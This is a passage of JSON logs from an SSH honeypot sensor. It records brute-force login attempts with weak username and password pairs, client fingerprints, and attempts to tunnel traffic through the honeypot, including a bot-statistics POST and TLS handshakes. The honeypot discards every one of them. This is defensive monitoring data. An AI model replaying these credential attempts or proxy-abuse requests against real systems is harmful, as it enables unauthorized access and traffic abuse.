no-cache\\r\\n\\r\\n_=XkMqcVdPWm5DRnNqOEVERg%3D%3D3U8XTXvmwWVQeSEIAWsB4RiYuWXlzYK2nU4%2Fs1xnx9chwhR4fCpdT44Yl8kbnS5JvHsOvbIBQJbxBouSIwmsck3MhLfEgRWW%2FjUvLyk%2BNog2YU8I9iaqMUbAClwo9uYb3pO5MVWVlh9qqAOeVjy21AVSIsDsqsdTYs45GvlrtGh979cYDl5Jz3i38b1b2j3Qyzil9%2BdEN7Q%2BKiKUOm%2BC2qOACjFKztLVhy0cneMMjirndg9VXniWxz9P7Rl8166VLUlw5B8g2T%2B8I0x%2B906iFWbCDLQFr2rViYZdDw69go8wM0ZI28jWySAczLyAUHCtNmPI4CRSQHPXKt9%2BFziSNI%2Bi6AuvzzFZlMDTF3009vMFeTbJpdWZyX5o5GiOLQ%2FYlqaZA0VnStkOf%2BtwO4rwJ9I4kgVVcnEYPyevSwGioOovPZ3jlDAVEW6DkD80LADdYM8MpNVt328hQmL59H%2FUEBrfcfYKX1Lmx2C0mi2CBHnXlDgpl7ltk167Di3cBlblaqbErLvDNBgFYQ5MoC1eEno2eQc7Cg22Ei4WIfSVdFkBnd2YYc0%2FgTLsjHQ2UdG6BE5EfdIrUeQGtNxka8mKLGf14X0t%2B7BdbxZ4Q%2Bl7qDMPRWiJD5xesEPeFp1VFoeA6AazXpFw1JTzFs5Uchy1JMPwWmv5OogSKNTILG%2FVq5rSh4v0TvX5pAABttAP73ZF6t8HKccD%2FhgP4blguVumbxCkrhSNaSIH%2B%2Fdcx%2Fba6SidfpWHEbvA%2FEZXFfTar1tBNF5qsNu0Doo6NYjcuZ5q%2BXAn7LPPuw951QezI4PyDvwpLlHISEynIIbfUyPFhG6axEA7gArf2lJKWbHNsv%2BVopfN2VrDEjBIaSggG8KzvMla8cM%2B%2BEOxb0d8KYndXwsByHwbbP%2Br%2BzkOPwd%2BzaARHtiA0kEoYL8z6IFRtI6g48b8X7o3lYlpt1xXgjnFPsunYat%2FWXGa7q0l%2BG3KNYtQl8J%2BbgrCf%2BeK6qbDqGSZuemO5S4iORz5JjkNajroTKgOopOU6%2Bos4W7scVuVGMYpqpqnUSKWByK2EzzjsqdnFzbd%2FnLYYpeStPza0BFLXb%2B2'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 14_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/71.0 Mobile/18B121 Safari/605.1.15\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1190\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=XkMqcVdPWm5DRnNqOEVERg%3D%3D3U8XTXvmwWVQeSEIAWsB4RiYuWXlzYK2nU4%2Fs1xnx9chwhR4fCpdT44Yl8kbnS5JvHsOvbIBQJbxBouSIwmsck3MhLfEgRWW%2FjUvLyk%2BNog2YU8I9iaqMUbAClwo9uYb3pO5MVWVlh9qqAOeVjy21AVSIsDsqsdTYs45GvlrtGh979cYDl5Jz3i38b1b2j3Qyzil9%2BdEN7Q%2BKiKUOm%2BC2qOACjFKztLVhy0cneMMjirndg9VXniWxz9P7Rl8166VLUlw5B8g2T%2B8I0x%2B906iFWbCDLQFr2rViYZdDw69go8wM0ZI28jWySAczLyAUHCtNmPI4CRSQHPXKt9%2BFziSNI%2Bi6AuvzzFZlMDTF3009vMFeTbJpdWZyX5o5GiOLQ%2FYlqaZA0VnStkOf%2BtwO4rwJ9I4kgVVcnEYPyevSwGioOovPZ3jlDAVEW6DkD80LADdYM8MpNVt328hQmL59H%2FUEBrfcfYKX1Lmx2C0mi2CBHnXlDgpl7ltk167Di3cBlblaqbErLvDNBgFYQ5MoC1eEno2eQc7Cg22Ei4WIfSVdFkBnd2YYc0%2FgTLsjHQ2UdG6BE5EfdIrUeQGtNxka8mKLGf14X0t%2B7BdbxZ4Q%2Bl7qDMPRWiJD5xesEPeFp1VFoeA6AazXpFw1JTzFs5Uchy1JMPwWmv5OogSKNTILG%2FVq5rSh4v0TvX5pAABttAP73ZF6t8HKccD%2FhgP4blguVumbxCkrhSNaSIH%2B%2Fdcx%2Fba6SidfpWHEbvA%2FEZXFfTar1tBNF5qsNu0Doo6NYjcuZ5q%2BXAn7LPPuw951QezI4PyDvwpLlHISEynIIbfUyPFhG6axEA7gArf2lJKWbHNsv%2BVopfN2VrDEjBIaSggG8KzvMla8cM%2B%2BEOxb0d8KYndXwsByHwbbP%2Br%2BzkOPwd%2BzaARHtiA0kEoYL8z6IFRtI6g48b8X7o3lYlpt1xXgjnFPsunYat%2FWXGa7q0l%2BG3KNYtQl8J%2BbgrCf%2BeK6qbDqGSZuemO5S4iORz5JjkNajroTKgOopOU6%2Bos4W7scVuVGMYpqpqnUSKWByK2EzzjsqdnFzbd%2FnLYYpeStPza0BFLXb%2B2'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:53.234110Z","src_ip":"23.175.50.47","session":"f2a842391185","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:53.383406Z","src_ip":"91.92.40.36","session":"2e3b2bc1e55b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:53.388062Z","src_ip":"91.92.40.36","session":"2e3b2bc1e55b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:53.476090Z","session":"f2a842391185","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:53.534925Z","src_ip":"23.175.50.47","session":"f2a842391185","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb4\\x8dXV\\xd0k\\xe1z\\xc8\\xbe\\x9c\\x9f\\to\\x00\\x05\\x99\\xc0t\\xcf\\x94,\\xd9\\xb4p~:\\xd3f\\xa7\\xd6\\x1a \\xbey\\xcbl\\xa1\\xb5Y\\x0e\\xfa\\xa8\\xcc\\x03{'Ua\\x1c\\x93\\x8dn\\xfa\\x93\\xebxE(\\xac5\\x9d|\\x84\\xdb\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9a\\xf3\\xa84\\x866\\xb7\\x108F\\xff\\xa7\\xf5&\\xcb\\x95s\\xbb\\xba\\xff\\xaf\\xc8|[\\x84R\\xf6\\xd4\\x95o\\ne\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb4\\x8dXV\\xd0k\\xe1z\\xc8\\xbe\\x9c\\x9f\\to\\x00\\x05\\x99\\xc0t\\xcf\\x94,\\xd9\\xb4p~:\\xd3f\\xa7\\xd6\\x1a \\xbey\\xcbl\\xa1\\xb5Y\\x0e\\xfa\\xa8\\xcc\\x03{'Ua\\x1c\\x93\\x8dn\\xfa\\x93\\xebxE(\\xac5\\x9d|\\x84\\xdb\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9a\\xf3\\xa84\\x866\\xb7\\x108F\\xff\\xa7\\xf5&\\xcb\\x95s\\xbb\\xba\\xff\\xaf\\xc8|[\\x84R\\xf6\\xd4\\x95o\\ne\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:53.538531Z","src_ip":"23.175.50.47","session":"f2a842391185","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:53.893164Z","session":"f2a842391185","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:53.952524Z","src_ip":"23.175.50.47","session":"f2a842391185","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x12\\xc7Z\\xbf\\x15\\n\\xcd1@\\xcf=EJ\\x05R\\xca\\xbd~a\\xf0\\x08%\\xe0\\xc8\\x9a\\x04\\x0b\\xefa)\\x1f\\xc6 \\xa8\\xa8\\xc6\\xed\\xd9n\\x89\\x1d\\x18\\xd5{\\xcf@L\\x7f\\xd0\\x16\\xfeqSP\\xae\\xd6:\\xec\\xb6\\xc7Iq\\xf0\\x9a\\xd2\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 W*+\\xb3\\xc4S\\xd3\\x9f\\xe9\\xbbZV\\xeaZ3\\x9b\\xa4\\xc0\\x0e\\x06\\x1a\\xa0\\xc8\\xc0y/Z\\x016\\xdc\\x90u\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x12\\xc7Z\\xbf\\x15\\n\\xcd1@\\xcf=EJ\\x05R\\xca\\xbd~a\\xf0\\x08%\\xe0\\xc8\\x9a\\x04\\x0b\\xefa)\\x1f\\xc6 \\xa8\\xa8\\xc6\\xed\\xd9n\\x89\\x1d\\x18\\xd5{\\xcf@L\\x7f\\xd0\\x16\\xfeqSP\\xae\\xd6:\\xec\\xb6\\xc7Iq\\xf0\\x9a\\xd2\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 W*+\\xb3\\xc4S\\xd3\\x9f\\xe9\\xbbZV\\xeaZ3\\x9b\\xa4\\xc0\\x0e\\x06\\x1a\\xa0\\xc8\\xc0y/Z\\x016\\xdc\\x90u\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:53.956325Z","src_ip":"23.175.50.47","session":"f2a842391185","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sales","password":"123456","message":"login attempt [sales/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:54.051798Z","src_ip":"91.92.40.36","session":"f6303d41c7d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.9","message":"Connection lost after 10.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:56.593611Z","src_ip":"91.92.40.36","session":"f6303d41c7d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:57.690694Z","src_ip":"23.175.50.47","session":"f2a842391185","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":39836,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a65d2b4ee29","protocol":"ssh","message":"New connection: 91.92.40.36:39836 (159.203.135.109:22) [session: 6a65d2b4ee29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:59.115374Z"}
{"eventid":"cowrie.login.failed","username":"pace","password":"pace123","message":"login attempt [pace/pace123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:59.304444Z","src_ip":"91.92.40.36","session":"2e3b2bc1e55b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:00.051872Z","src_ip":"91.92.40.36","session":"6a65d2b4ee29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:00.073032Z","src_ip":"91.92.40.36","session":"6a65d2b4ee29","protocol":"ssh"}
